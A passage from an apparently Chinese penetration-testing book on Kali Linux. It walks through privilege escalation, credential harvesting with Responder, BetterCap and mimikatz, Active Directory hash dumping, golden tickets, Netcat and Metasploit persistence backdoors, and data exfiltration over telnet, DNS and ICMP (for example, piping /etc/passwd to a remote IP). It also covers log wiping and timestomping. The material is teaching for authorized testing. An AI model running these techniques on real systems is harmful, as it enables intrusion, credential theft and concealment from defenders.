接下来是升级用户的权限；在这个例子中，我们将使用一个有连接的系统，该连接是由运行有效负载和代理的本地管理员打开的。

输入usemodule privesc/powerup/allchecks并运行执行（execute）命令。输出应如图13.19所示。
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图13.19　执行usemodule privesc/powerup/allchecks命令

这个阶段的用户在授予管理权限的本地组中；这有助于攻击者提升权限，以便他们可以执行下一个操作。为了绕过UAC，在Empire终端输入back（后退），然后输入bypassuac http。

最后一步是使用Empire工具中的mimikatz模块将所有登录凭据转储成纯文本。这可以通过运行mimikatz来实现。攻击者现在可以使用纯文本密码，如图13.20所示。
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图13.20　纯文本的登录凭证信息


13.3　凭据收割和升级攻击

凭证收割是识别目标用户名、密码和散列值的过程，这些可用于渗透测试/红队运动活动设定组织。在本节中，我们将介绍使用Kali Linux的攻击者通常使用的三种不同类型的凭据收割机制。


13.3.1　密码嗅探器

密码嗅探器是一组工具/脚本，通常通过发现、欺骗、嗅探流量和代理来执行中间人攻击。

在本节中，我们将探讨用BetterCap来捕获网络上的SSL流量，以便我们可以捕获网络用户的凭据。

BetterCap类似于上一代的ettercap，具有执行网络级欺骗和嗅探的附加功能。通过在终端运行apt-get install bettercap，可以将BetterCap下载到Kali Linux。

BetterCap的核心选项是：

·-T：指定MiTM目标（IP或MAC）

·-I：接口的使用

·-G：指定网关地址（通常是自动的）

·--no-discovery：不搜索主机（使用ARP缓存）

·--ignore：忽略ADDRESS1，ADDRESS2

·--check-updates：更新软件包

·-X：执行MiTM

使用-X选项运行bettercap来执行MiTM攻击，如图13.21所示。
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图13.21　运行bettercap-x命令执行MiTM攻击

如果启用了discovery（发现），它将自动发现目标。我们也可以根据需求指定主机。渗透测试人员在使用BetterCap时应该谨慎，因为这会暂停你的Kali Linux连接到的整个网络。

为了捕获HTML连接，以便你可以注入有效载荷并重定向特定目标的流量，请运行以下命令：
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攻击者还可以利用BetterCap暂停网络，并利用HTTP严格传输安全（HTTP Strict Transport Security，HSTS）——Web安全策略漏洞影响的所有网站。要查看特定受害者的所有SSL流量，必须运行bettercap-T VICTIMIP--proxy-P POST。

SSLSTRIP的结果将如图13.22所示。
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图13.22　SSLSTRIP的结果


13.3.2　Responder

Responder（响应者）是针对本地链路多播名称解析（Link-Local Multicast Name Resolution，

LLMNR）和NetBIOS名称服务（NetBIOS Name Service，NBT-NS）的内置Kali Linux工具，可根据文件服务器请求响应特定的NetBIOS查询。可以通过在终端中运行responder-I eth0-h来启动此工具，其中eth0指的是自己网络上你想要的以太网适配器名称，如图13.23所示。

Responder可以执行以下操作：

·检查包含任何特定DNS条目的本地主机文件

·在所选网络上自动执行DNS查询

·使用LLMNR/NBT-NS向所选网络发送广播消息
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图13.23　启动responder工具

同一网络上的攻击者可以在该网络上启动Responder，如图13.24所示。Responder可以自行设置多种服务器类型：
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图13.24　启动同一网络上的Responder

在这个例子中，假设受害者正试图访问位于\\advanced\\的文件服务器的用户，其IP地址为192.168.0.119。但是，受害者会收到如图13.25所示的错误消息。
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图13.25　访问失败的提示信息

现在攻击者使用Responder暂停包含NTLM用户名和散列的结果，如图13.26所示。
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图13.26　攻击者获取受害者的NTLM用户名和散列值

通过在终端中运行responder-I eth0-wrFb，可以使用Responder执行另一个简单的捕获密码攻击。在这种情况下，用户将获得一个NTLM弹出窗口以输入用户名和密码。如果受害者输入用户名和密码，攻击者就会在响应者中捕获这些信息，如图13.27所示。
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图13.27　攻击者捕获受害者的用户名和密码

所有日志文件将放在/usr/share/responder/logs/下，日志文件名为SMBv2-NTLMv2-SSP-<IP>.txt。然后可以通过运行johnSMBv2-NTLMv2-SSP-<IP>.txt直接传递给John the Ripper，以便脱机破解捕获的NTLM散列。


13.3.3　SMB中继攻击

SMB专用攻击是最近新兴的一种有趣的攻击，包括EternalBlue和SMB中继攻击。渗透测试人员利用SMB中继来捕获身份认证尝试（请求），并将其用于网络上的进一步行动。这些只是另一个pass the hash（绕过哈希）攻击。为了启动SMB中继攻击，请执行以下步骤：

1）用特定的有效载荷创建一个后门：
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2）现在使用smbrelayx.py装备SMB中继攻击，如图13.28所示，并运行主机脚本。这应当会让攻击者成功地得到另一个反向shell：
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图13.28　用smbrelayx.py装备SMB中继攻击

3）最后，你应该可以在Meterpreter上看到一个反向shell，如图13.29所示。
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图13.29　反向shell的截图


13.4　升级Active Directory中的访问权限

我们刚刚探索了如何升级系统内的权限，以及如何通过网络获取凭据。现在让我们利用迄今收集的所有细节。然后，使用杀链方法实现渗透测试的目标。在本节中，我们将把普通域用户的权限升级为域管理员。

我们可以识别连接到域的系统，并使用Empire PowerShell工具升级到域控制器，转储所有用户名和密码散列值，如图13.30所示。
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图13.30　活动代理的主要信息

你可以使用态势感知模块get_domain_controller收获更多关于域的信息，如图13.31所示。
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图13.31　执行态势感知模块

第二步是从Empire PowerShell工具中调用wmi模块。这将调用域控制器成为监听器的代理，如图13.32所示。

[image: ]


[image: ]


图13.32　从Empire PowerShell调用wmi模块

现在使用新代理与代理的域控制器通信，如图13.33所示。
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图13.33　使用新代理与代理域控制器通信

攻击者可以使用get_loggedon模块来识别谁登录到域中，命令如下：
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所有登录域控制器的用户必须是可见的，如图13.34所示。
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图13.34　查看登录到域控制器的所有用户

通过使用getsystem模块在本地升级权限，如图13.35所示。
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图13.35　升级本地权限

升级方法的下一步是将权限升级到域管理员。一旦运行mimikatz来转储所有用户的密码和散列，这一步就不是必须的，如图13.36所示。你可以通过Metasploit中的PSEXEC模块使用散列进行身份验证。
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图13.36　使用mimikatz转储认证

现在，攻击者可以通过在Empire界面中输入creds来检查Empire工具的凭据存储中的所有凭据，如图13.37所示。
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图13.37　检查所有凭据

使用远程桌面协议（RDP），攻击者可能会使用多种方式来利用域控制器进行远程访问或直接访问系统。在这个例子中，我们将直接使用本地访问系统。

要转储Active Directory中的所有用户，我们必须找到完整的安全注册表和系统注册表，并且获取ntds.dit也是非常重要的。可以通过单个PowerShell命令使用Ntdsutil来执行：
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上述命令是做什么的？

Ntdsutil是Windows服务器系列内置的一个命令行工具，用于提供Active Directory域服务的管理。它们是从媒体安装的（Install From Media，IFM），因此服务器不需要复制域数据，如图13.38所示。最后，我们可以在c：\temp创建文件，包含两个文件夹，Active Directory和注册表（registry）。
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图13.38　查看Ntdsutil的信息并创建文件

现在，注册表和系统配置单元都已在临时（temp）文件夹中创建，可以使用secretsdump.py来进行离线破解密码。

secretsdump.py是来自Impacket的Kali Linux中的内置脚本。要查看纯文本和散列密码，攻击者可以在终端中运行secretsdump.py-system<systemregistry>-security<securityregistry>-ntds<ntds“LOCAL”。运行secretsdump.py时，你应该可以看到如图13.39所示的屏幕截图。
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图13.39　破解散列密码查看纯文本

搜索pekList后，所有Active Directory用户名及其密码散列都必须对攻击者可见，如图13.40所示。
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图13.40　所有Active Directory用户名及其密码散列信息

另一个更简单的方法是使用mimikatz通过运行以下命令转储所有密码：
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必须转储所有凭据的散列值，如图13.41所示。
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图13.41　转储凭据的散列值

企业管理员和架构管理员的密码散列以类似的方式获得离线密码破解，然后为了在网络上的横向行动，坚持渗透测试或红队练习的目标。


13.5　入侵Kerberos——金票攻击

最近发现的另一组更复杂的攻击，是在活动目录环境下滥用Microsoft Kerberos漏洞。成功的攻击导致攻击者入侵域控制器，然后使用Kerberos实现将权限升级到企业管理员和架构管理员。

以下是用户在基于Kerberos的环境中，用用户名和密码登录的典型步骤。

·用户密码被转换成具有时间戳的NTLM散列值，然后将其发送到Kerberos密钥分发中心（Key Distribution Center，KDC）。

·域控制器检查用户信息并创建一个授予–票证票据（Ticket-Granting ticket，TGT）。

·该TGT只能通过Kerberos服务（Kerberos service，KRBTGT）访问。

·然后，TGT从用户端通过域控制器传递到请求票证授权服务（Ticket Granting Service，TGS）的票据。

·域控制器验证权限账户证书（Privileged Account Certificate，PAC），如果允许打开票证，则TGT将被有效地复制，用来创建TGS。

·最后，用户访问服务器获得服务。

攻击者可以根据可用的密码散列来操纵这些Kerberos票证。例如，如果你已经破坏了一个连接到域的系统，并提取了本地用户凭据和密码散列。下一步就是识别KRBTGT密码散列得到金票。

在本节中，我们将探讨如何轻松生成金票。如果我们有一个具有低级别域用户账户的域计算机，那么可以利用Empire工具，只需一步就能利用此漏洞。这可以通过运行模块golden_ticket来实现，如图13.42所示。
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图13.42　运行golden_ticket模块

当模块运行时，使用KBRTGT密码散列为用户建立金票。现在，攻击者将可以对域执行特权活动，例如直接访问文件服务器、数据库等。这也可以通过在受损系统上从mimikatz运行以下内容来实现。
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通过运行这些攻击，攻击者将被认证为包括企业管理员和架构管理员在内的任何用户。

与此类似的另一种类型的攻击是Kerberos银牌攻击，但很少论及。这种攻击再次发生在伪造TGS上，但它是由服务账户签署的，这意味着银票攻击仅限于针对服务器的任何服务。PowerShell的Empire工具通过提供rc4/NTLM散列的参数使用模块credentials/mimikatz/silver_ticket，用于开发相同的漏洞。


13.6　小结

在本章中，我们研究了特权升级的方法，并探讨了可用于实现渗透测试目标的多种方法和工具。

首先，我们使用bypassuac和通过利用现有的Windows计划任务来启动通用的系统级权限升级。

我们的重点是利用Meterpreter来获得系统级控制权，之后深入了解了PowerShell的Empire工具，然后通过在网络上使用密码嗅探器来收获凭据。我们还利用响应者和SMB中继攻击来获得远程系统访问，并且我们使用响应者捕获了使用SMB的网络上的不同系统的密码。

我们使用结构化方法完全入侵了Active Directory。最后，利用Empire PowerShell攻击Active Directory中的访问权限，并通过使用Empire工具执行金票攻击来入侵Kerberos。

在下一章中，我们将了解攻击者如何使用不同的技术来维护对受攻击（如使用杀链方法）的系统的访问权限。我们还将深入了解如何将数据从内部系统渗透到外部系统。


第14章　命令和控制

“战争以正确的指挥和控制赢得胜利。”

现代攻击者对利用系统或网络并不感兴趣，而是继续前进；相反，他们的目标是攻击并入侵一个有价值的网络，然后尽可能长时间地生活在网络上。命令和控制指的是测试人员通过一个重复的攻击行为，长期占领入侵系统、保持双向通信、过滤数据到测试者的位置、并隐藏攻击的证据。

攻击者杀链的最后阶段是“命令、控制、通讯”阶段，在此期间，攻击者依赖一个与被入侵系统的持续连接，保证他们能继续控制被入侵系统。

为了实现高效运行，攻击者必须能够保持持久交互（interactive persistence）——他们必须与被攻击系统保持双向通信（交互），与被入侵的系统保持长期的交互而不被发现（持久性）。这种类型的连接需求的原因如下：

·可能检测到网络入侵，被入侵的系统可能识别并打补丁。

·一些攻击只能使用一次，因为漏洞是间歇性的，渗透攻击可能导致系统失效，或者因为攻击改变了系统，漏洞表现为不可用。

·由于各种原因，攻击者可能需要多次返回到相同的目标。

·当目标被攻破，不可能立即就知道目标的利用价值。

用来维持持久交互的工具，在经典的术语里，简称为后门（backdoor）或者恶意软件（rootkit）。但是，自动化的恶意软件和人为攻击已经使传统标签的意义变得模糊。与之相反，这种打算在被入侵系统上停留较长时间的恶意软件，被称为持久代理（persistent agents）。

这些持久代理为攻击者和测试者执行许多功能，主要包括如下功能：

·允许上传的额外工具支持新的攻击，特别是对位于同一网络的系统。

·便于从被入侵的系统和网络中外泄数据。

·允许攻击者和被入侵系统重新连接，通常通过加密信道来避免探测。众所周知，持久代理在被入侵系统的停留时间超过一年。

·采用反取证技术来避免被发现，包括在目标文件系统或系统内存中隐藏，使用强认证和加密技术。

在本章中，你将了解以下几点：

·破解现有的系统和应用程序文件，进行远程访问。

·使用持久代理。

·使用Metasploit框架保持持久性。

·数据渗出。

·覆盖痕通以隐藏攻击证据。


14.1　使用持久代理

传统意义上，前门（front door）为合法的用户提供认证接入，而攻击者会在被攻击的系统上植入一个后门，后门程序允许攻击者返回被攻破系统，获得服务和数据。

不幸的是，经典的后门程序提供有限的交互，它不是为了能够在被攻破系统上停留较长时间而设计的。传统后门最显著的缺点是：一旦这个后门被发现移除后，攻击者只能重复攻击过程来攻破系统，而这是非常困难的，因为预警系统的管理员会对网络和资源进行防护。

Kali现在以持久代理为重点，如果使用得当，很难发现持久代理。我们将回顾第一个令人敬佩的工具Netcat。


14.1.1　使用Netcat作为持久代理

Netcat利用“原始”的TCP和UDP数据包，支持从网络连接中读数据、写数据。与Telnet或者FTP服务形成的数据包不同，Netcat的数据包不具有包头和其他特殊信道信息。这简化了通信，并考虑了适应大部分通信信道。

最新的稳定版本由Hobbit在1996年发行，它保持了和以往一样的强大功能。它经常被称为TCP/IP瑞士军刀（TCP/IP Swiss army knife）。Netcat可以完成许多功能，主要列举如下：

·端口扫描。

·提取用来识别服务的标志。

·端口重定向和代理。

·文件转移和网上聊天，包括支持数据取证和远程备份。

·在被攻破系统上，作为后门或者持久交互代理。

基于这点，我们将重点关注利用Netcat在被攻破系统上创建一个持久shell。尽管随后的例子是用Windows作为目标平台，但它在基于UNIX系统的平台上也发挥同样的功能。

在图14.1中可以看到，我们将保留可执行文件的名字——nc.exe，在使用前，普遍对其重新命名，以最小化其被探测到的可能性。即使它已经被重命名，通常也会被反病毒软件发现；许多攻击者会修改或者移除Netcat源代码中的不需要的元素，并在使用前重新编译；这样的变化能够改变反病毒软件用来识别应用的签名，比如Netcat，这会使反病毒软件对其不可见。

Netcat存储在Kali的/usr/share/windows-binaries库中。从内部meterpreter输入如下的命令，可以上传到被攻破系统中：
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上述命令执行的结果，如图14.1所示。
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图14.1　上传Netcat的屏幕截图

你无须专门把Netcat放在system32文件夹中；但是，由于此文件夹中文件的数量和文件类型的多样性，这是隐藏在感染系统文件的最佳位置。

当在客户端进行渗透测试时，我们发现在一台服务器上有6个独立的Netcat实例。有两个是被两个不同的系统管理员安装，用以支持网络管理，其他4个实例是被外部攻击者安装，直到渗透测试开始都没有被发现。因此，要经常检查目标机器上是否安装Netcat。

如果没有meterpreter连接，需要用简单文件传输协议（Trivial File TransferProtocol，TFTP）来传输文件。

接着，用如下命令配置注册表，使系统开始运行，并启动Netcat；确保监听端口444（或者你选择的其他任何长期不被使用的端口）：
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用如下queryval命令来确认已成功修改注册表：
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使用netsh命令，打开一个连接到本地防火墙的端口，用来确保被入侵系统能够远程连接到Netcat。重要的是要知道目标的操作系统信息。Windows Vista、Windows Server 2008和最新版本使用netsh advfirewall firewall命令行环境，而之前的操作系统使用netsh firewall。

为了增加端口到本地防火墙，需要在meterpreter提示符后输入shell命令，然后使用适当的命令规则。当对规则进行命名时，比如svchostpassthrough，名字应该暗示此规则对系统的正常运行有重要作用。示例命令显示如下。
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用如下命令确认修改已成功：
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图14.2显示了上述命令执行的结果：
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图14.2　增加端口连接

当端口规则确定后，确保重启选项启动。

·在meterpreter提示符后输入如下命令：
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·在交互式Windows shell中输入如下命令：
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为了远程接入被入侵系统，在命令提示符下输入nc，表示连接的详细程度（参数-v表示报告基本信息，参数-vv表示报告更多详细的信息），然后输入目标的IP地址和端口号，如图14.3所示。
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图14.3　使用nc命令

不幸的是，在使用Netcat时存在一些限制：没有认证机制，对传输的数据没有加密，几乎能够被所有的反病毒软件检测到。

可以用cryptcat来加密，cryptcat是Netcat的变体。在攻击者与被入侵系统的传输中，它运用Twofish算法加密数据。Twofish加密算法是由Bruce Schneier提出的一种高级对称分组加密算法，可以为加密的数据提供强有力的保护。

使用cryptcat，确保有一个准备好的监听者，并配置强壮的密码，使用如下命令进行配置：
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接下来，上传cryptcat到被入侵的系统，使用如下命令进行配置，使其连接到监听者的IP地址：
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不幸的是，大多数的反病毒软件能检测到Netcat和它的变体。可以用16进制编辑器对Netcat源代码进行编辑，使其不能被检测到；这将有助于避免触发反病毒软件的签名匹配行为，但是，这可能是一个漫长的试错过程。更有效的方法是利用Metasploit框架的持久性机制的优势。


14.1.2　使用schtasks来配置持久任务

在Windows XP和2003中Windows任务调度（Windows Task Scheduler）程序schtasks是作为替代at.exe引入的，但是我们仍然可以看到at.exe在最新版本的Windows中运行，以便向后兼容。在这一节中，我们将继续使用这一功能维持对入侵系统的持续访问。

攻击者现在可以利用Metasploit的web_delivery模块通过后台处理现有会话，并且在Meterpreter终端运行use exploit/multi/script/web_delivery，如图14.4所示。
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图14.4　运行web_delivery

现在，我们应该能够在受攻击的系统上创建一个预定任务，以便下载入侵机器上的有效负载，然后提供后门访问。schtasks可以直接从命令提示中进行调度，如图14.5所示。
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图14.5　使用schtasks调度

以下是典型的调度任务场景，可以由攻击者保持对系统的持久性访问：

·用户登录：
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·系统启动：
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·系统空闲：

[image: ]


攻击者应该确保监听器始终在运行，并且打开连接。攻击者将使用有效的SSL证书运行HTTPS设置服务器，这样就没有关于内部保护的警告了（Firewall/IPS/Proxy）。相同的任务可以使用Empire PowerShell工具模块执行一次命令persistence/evelated/schtasks，如图14.6所示。
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图14.6　执行schtasks


14.1.3　使用Metasploit框架保持持久性

Metasploit的meterpreter包含几个脚本，支持与被入侵系统保持持久性的脚本。我们将讨论放置后门的persistence脚本。


14.1.4　使用persistence脚本

获得持久性，更有效的方法是在meterpreter提示符后输入persistence脚本。

在系统被入侵后，迁移命令已经从最初的shell转移到一个更安全的服务，攻击者可以通过在meterpreter命令提示符后调用persistence脚本。

使用命令中的-h参数，可以识别创建可持续后门的可用选项，如图14.7所示。
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图14.7　运行persistence脚本

如图14.8所示，我们已经配置persistence为当系统开启时自动启动，并且试图连接监听者，频率为每10秒一次。监听者作为远程系统（-r），可以通过特定的IP地址和端口被识别。此外，我们可以选择使用-U选项，它可以在用户登录系统时启动persistence。
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图14.8　使用persistence脚本

请注意，persistence使用的是随机端口444；攻击者必须验证本地防火墙的配置，确保端口开启，或者使用reg命令来开启该端口。与大多数Metasploit模块一样，任何长期没有使用的端口都可以选择。

persistence脚本位于临时目录中的一个VBS文件中，自然，你可以用-L选项来选择不同的位置。该脚本还把此文件加入到注册表的本地自动运行部分。

因为persistence脚本没有经过认证，所有人都可以使用它访问被入侵系统；当发现或者渗透测试完成后，它应该从被入侵系统中立即删除。可以通过如下resource命令来删除脚本和确认资源文件的位置已被清理。
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14.1.5　使用Metasploit框架创建一个独立持久代理

Metasploit框架可以用来创建独立的可执行文件，它可以保留在被入侵的系统中，并允许交互通信。独立包装的优点在于，它可以提前准备和测试用以确认连接，可以编码来绕过本地反病毒软件。

为了使用一个简单的独立代理，利用msfvenom建立一个持久代理。这里的例子如图14.9所示，使用reverse_tcp shell来配置代理。它将连接到本地主机<attackers IP>的443端口。

代理名为attack1.exe，使用win32可执行程序模板：
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图14.9　使用reverse_tcp shell配置代理

使用x86/shikata_ga_nai协议，对attackl.exe代理进行五次编码。每一次都是对上一次结果的重新编码，这样就更难侦测到。但是，可执行文件的大小也在增加。

我们可以在msfvenom中使用-bx6410+her来配置编码模式，被免某些字符。例如，当编码一个持久代理时，应避免如下的字符，因为它们可能被发现，从而导致攻击失败。

·\x00代表0字节地址

·\xa0代表换行

·\xad代表回车

使用如下命令来创建多次编码载荷：
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你也可以将msfvenom编译到已有的可执行文件中，并且修改后的可执行文件和持久代理均能工作。为了将持久代理绑定到可执行文件（如计算机器calc.exe），首先要将calc.exe文件复制到Kali Linux。运行meterpreter>download c：\\windows\\system32\\calc.exe，利用Meterpreter已有的访问你可以从当前会话下载该文件。文件下载完成后，运行如下命令：
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代理可以被放置到目标系统上，重命名为calc.exe，取代原来的计算器，随后执行。

不幸的是，几乎所有Metasploit编码的可执行文件都能被客户的反病毒软件检测到。这归于渗透测试者提交加密的载荷到网站，比如VirusTotal（www.virustotal.com
 ）。然而，可以创建一个可执行文件，然后用Veil-Evasion进行加密。具体内容请参见第11章。


14.1.6　使用社交媒体和Gmail的持久性

渗透测试人员可以利用Google提供的Chrome远程桌面（Chrome Remote Desktop），在任何时候都保持对系统的持久访问。远程桌面进入目标机器，并访问Chrome网上应用商店（Chrome Web Store）（https://chrome.google.com/webstore/category/extensions
 ），并且搜索谷歌远程桌面，同时添加扩展，可以通过输入chrome：\\apps来验证，如图14.10所示。
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图14.10　使用chrome：\\apps验证

或者，如果我们创建任何自定义的Chrome扩展，我们可以通过命令行运行以下命令直接将它们添加到Chrome中。
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一旦安装了应用程序，下一步就是启用共享（Share）选项，如图14.11所示。
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图14.11　启动Share选项

在点击Share按钮之前，我们需要系统启用Chrome远程桌面服务。攻击者可以通过命令行安静地安装。Chrome远程桌面的MSI可以从http://dl.google.com/dl/edgedl/chrome-remote-desktop/chromeremotedesktophost.msi
 下载。

在设置了服务之后，单击共享（Share）按钮，这将使我们进入下一个步骤，创建一个允许远程访问的PIN，如图14.12所示。

通过利用Gmail账户，攻击者现在可以远程控制系统。通过另一个笔记本或PC访问系统有一个限制，可能需要你要从受损的计算机中输入访问代码，如图14.13所示。
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图14.12　创建PIN

[image: ]


图14.13　需要输入访问代码

但是，可以通过使用Google Play Store的移动应用程序绕过此需求。下载移动应用程序的地址为：https://play.google.com/store/apps/details?id=com.google.chromeremotedesktop&hl=en
 。

使用相同的Gmail账号登录你的Play商店。系统的列表包含了Chrome远程桌面中的可用账户，如图14.14所示。

一旦PIN通过验证，就可以完全访问受损系统，图14.15显示用户正在访问https://www.packtpub.com/
 网站。
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图14.14　可用的远程账户界面
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图14.15　访问入侵的https://www.packtpub.com/


一旦所有设置完成，攻击者就可以从浏览器删除Chrome远程桌面扩展，并维护对系统的访问。

Chrome远程桌面应用程序通过remoting_host.exe文件连接到远程主机，它位于文件夹c：\program files（x86）\Google\Chrome Remote Desktop\57.0.2987.37（依赖于版本）\。

我们如何知道代理是活动的还是非活动的？在My Computers登录你的移动应用程序，你应该看到账户下的计算机列表，以及它们的在线状态，图14.16提供了远程机器的状态——离线了三个小时。
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图14.16　远程机器状态

我们可以利用老式的任务方案，通过在入侵的系统上运行以下命令来创建一个计划任务，使它保持持久。
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一旦用户在认证系统上空闲，谷歌远程桌面服务将会保持活跃，然后攻击者可以保持对入侵系统的持久访问。有一个缺点是，用户会收到提醒“你的桌面被vijayvkvelu@gmail.com共享”，如图14.17所示。
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图14.17　入侵系统收到的提醒


14.2　提取数据

从任何环境中以未经授权的方式，从计算机中挤出数据被称为提取数据。一旦持久地维持在被攻破的系统上，取决于红队练习或渗透测试开始时设定的目标，提取公司秘密和证据，以下一组工具可用于从高度安全的环境中提取数据。在本节中，我们将探讨攻击者用来从内部网络向攻击者控制系统发送文件的不同方法。


14.2.1　使用现有的系统服务（Telnet、RDP、VNC）

现在，我们将讨论一些简单的技术，以便在有访问时间限制的被入侵系统中快速抓取文件。攻击者可以使用Netcat运行命令nc-lvp 2323>Exfilteredfile打开一个端口，然后通过被入侵的Linux服务器运行命令：cat/etc/passwd|telnet remoteIP 2323。这将etc/passwd的全部内容显示给远程主机，如图14.18所示。
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图14.18　运行cat/etc/passwd|telnet

访问网络上任何系统的攻击者使用的另一个重要且相当简单的技术是从Meterpreter shell运行getgui，这将启用RDP。

一旦启用了RDP，攻击者就可以配置他们的Windows攻击来挂载本地设备到远程设备，并将远程桌面的所有文件导出到本地设备。这可以通过菜单选项来完成，首先从Remote Desktop Connection的Options菜单选择Local Resources，然后到Local devices and resources，点击More，之后选择想要挂载的设备，如图14.19所示，这将攻击者本地计算机的D：//安装到RDP系统。

可以通过使用RDP连接登录到远程IP进行确认。一个额外的驱动器（X：）应该默认安装，如图14.20所示。
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图14.19　菜单设置
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图14.20　默认安装驱动器

其他传统技术包括设置anSMB服务器，并允许匿名访问被损坏的计算机。


14.2.2　使用DNS协议提取数据

将数据有效负载添加到企业的DNS是维护命令的最简单的方法，控制并利用DNS的隧道设计方式，自动绕过网络保护，进行数据提取。在本节中，我们将在网络和互联网上设置假DNS服务器，通过UDP 53上的DNS协议，利用DNSteal来提取数据。

DNSteal是一种用Python编写的工具，通过一个假DNS服务器来完成DNS协议，DNSteal被攻击者用来发送文件和文件夹。最新的DNSteal版本是v2.0；我们希望它集成到以后的Kali Linux中。

这个工具可以从GitHub下载，网址为：https://github.com/m57/dnsteal/
 。
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攻击者现在可以启动一个伪造的DNS服务器，并在指定的IP上运行，如图14.21所示。
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图14.21　使用DNSteal

以下是所使用的选项的详细信息：

·-z：解压缩任何传入文件，特别是用于大型文件传输网络。

·-s：设置每个请求的数据子域的数量。

·-b：每个子域发送字节。

·-f：每个请求的文件名长度。

利用DNSteal的优点是它还提供了在被入侵主机上运行的命令。现在，攻击者在被攻破的系统上运行以下命令：
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通过假DNS服务器添加数据有效载荷，可以对服务器执行多个DNS查询，在图14.22所示的示例中，通过网络直接传输内部文件/etc/passwd到服务器。

[image: ]


图14.22　传输内部文件

一旦脚本在受感染的机器上运行，攻击者应该能够在其DNSteal控制台中看到关于接受文件的内容，如图14.23所示。

一旦文件传输完成，文件名约定为receieved_year_month_date_time_filename，在./文件夹中可用，测试人员将可以看到如图14.24所示的文件内容。
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图14.23　接受文件
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图14.24　显示文件内容


14.2.3　使用ICMP提取数据

应用ICMP协议（任意ICMP工具，如Hping、nping和ping等）有多种方法可以提取文件。在本节中，我们将利用nping实用程序使用ICMP协议执行机密文件的数据提取。

在这个例子中，我们将利用TCP转储从PCAP转储文件中提取数据。通过在终端运行以下内容完成，如图14.25所示。
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图14.25　使用tcpdump

使用监听器。现在主机192.168.1.104是目标主机，我们等待接收它的数据，一旦hping3在客户端被触发（192.168.1.104），应该收到一条消息，如“EOF reached，wait some second than press Ctrl+C”，如图14.26所示，表示该文件通过ICMP外泄到目标服务器。

回到服务器端监听器，渗透测试人员可以按Ctrl+C关闭TCP转储。下一步是从PCAP文件中删除不需要的数据，以便我们可以通过运行Wireshark或tshark打印十六进制值。下面的命令只打印PCAP文件中的十六进制值。

[image: ]


[image: ]


图14.26　文件泄露到目标服务器

十六进制文件现在可以由Python中的4行代码转换。
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最后，应该可以打开使用ICMP协议发送的文件，如图14.27所示。
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图14.27　ICMP文件内容

其他一些工具，如Data Exfiltration Toolkit正在取代相同的技术，我们将在下一节中探讨。


14.2.4　使用数据提取工具包

数据提取工具包（Data Exfiltration Toolkit，DET）是市场上最简单的工具之一，由Sensepost创建，用于测试针对数据提取的数据泄露预防（Data Leakage Prevention，DLP）解决方案。在真实的环境中攻击者也可以使用ICMP和其他社交媒体（如Gmail和Twitter）来提取数据。

可以从GitHub下载DET，下载命令如下：
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最重要的因素是配置文件，它由config sample.json提供，根据攻击者的动机和目标可以替换为config.json。现在，我们都设置为利用攻击者控制的IP地址，运行DET提取网络中的数据。

传统的客户端和服务器概念，首先在服务器上运行Python脚本通过一个特定协议接受通信，本例中，我们使用ICMP协议。图14.28显示了服务器已准备就绪，并运行以下命令接受连接：
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图14.28　使用ICMP的Python脚本

另一方面，攻击者可以使用受攻击的服务器启动DET，通过ICMP协议运行python det.py-f/etc/passwd-p icmp–c./config-sample.json，发送相同的配置文件，如图14.29所示。
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图14.29　发送配置文件

文件发送到攻击者的服务器后，渗透测试人员应该可以看到正在运行的服务器的确认信息，如图14.30所示。
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图　14.30

最后，该文件将存储在运行服务器的同一文件夹filename：date：time.txt中。


14.2.5　从PowerShell提取

在最近的渗透测试期间，我们通过PowerShell执行简单的数据提取，并通过运行以下命令将文件上传到攻击者控制的Web服务器。
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14.2.6　隐藏攻击证据

一旦一个系统被渗透，攻击者必须掩饰他们的踪迹，以免被发现，或者至少为防守者重构该事件制造困难。

攻击者可以完全删除Windows事件日志（如果它们保留在被感染的服务器上）。这些可以通过对入侵系统使用一个命令shell，并使用以下命令来实现：
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/a选项直接删除所有日志，/s选项删除包括所有子文件夹的文件。/q选项禁用所有的查询，这些查询要求有一个yes或者no的回应，/f选项强行删除文件，使得恢复更加困难。

为了擦除特定的记录文件，攻击者必须跟踪在入侵系统上执行的所有活动。

也可以通过在meterpreter提示符下执行clearev命令来删除文件，如图14.31所示。该命令将删除目标机上的应用程序、系统和安全日志（该命令没有选项和参数）。
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图14.31　运行clearev命令

通常情况下，删除一个系统日志不会触发任何警报。事实上，大多数组织都是随意设置日志系统，以至于系统日志丢失被视作一件可能发生的事情，并且不会对其丢失做深入的调查。

Metasploit有一个绝招，那就是timestomp选项，它允许攻击者更改一个文件的MACE参数（一个文件的最后一次修改、访问、创建，以及MFT入口修改时间）。一旦系统被入侵，并且一个meterpreter shell已经建立，timestomp就会被调用，如图14.32所示。
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图14.32　执行timestomp-h命令

例如，被入侵系统，C盘包含一个名叫README.txt的文件。此文件的MACE值表示它是最近创建的，如图14.33所示。
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图14.33　执行timestomp-v命令

如果我们想隐藏这个文件，我们可以将其移动到一个杂乱的目录，如Windows\System32下。但是，这个文件对于那些根据创建时间或其他MAC参数进行排序的人是显而易见的。因此，应更改文件创建的时间戳，通过运行以下命令修改的访问权限将更改README.txt的时间戳，如图14.34所示。
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图14.34　改变时间戳

为了能够彻底的破坏调查，攻击者可能递归地改变一个目录下所有的设置时间，或者在一个特定的驱动器上所有的设置时间，只需执行以下命令：
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这种解决方法并不是完美的。很明显，已经发生了一个攻击。此外，时间戳很可能存储在硬盘的其他位置，并且方便调查。如果目标系统正在使用入侵检测系统来监控系统的变化，例如Tripwire，会产生timestomp活动的警报。因此，当要求高度隐蔽时，破坏时间戳的价值是有限的。


14.3　小结

在本章中，我们介绍了攻击者为了达到目标，维护与入侵系统连接的不同方法，也是杀链的最后一步。我们学习了通过各种不同的方法来提取数据的不同技术。我们特别关注使用Netcat、Meterpreter、计划任务、Empire PowerShell和Gmail来维护受影响系统上的持久代理，以及使用传统服务（如DNS、ICMP、Telnet、RDP和Netcat）的数据泄露。我们还学习了如何以传统的方式隐藏攻击的证据，覆盖痕迹并保持匿名。

我们希望这本书可以帮助你了解基本风险，攻击者如何在几秒钟内使用这些工具来破坏网络，如何使用相同的工具和技术来了解网络漏洞，以及修复和修补程序管理的重要性。
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root@kali:~# airmon-ng start wlanO
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root@kali:~# airodump-ng wlanOmon
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root@kali:~# airmon-ng
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root@kali:~# ifconfig
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root@kali:~# airmon-ng start wlan®

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

PID Name

587 NetworkManager
769 wpa_supplicant
818 dhclient

PHY Interface Driver Chipset

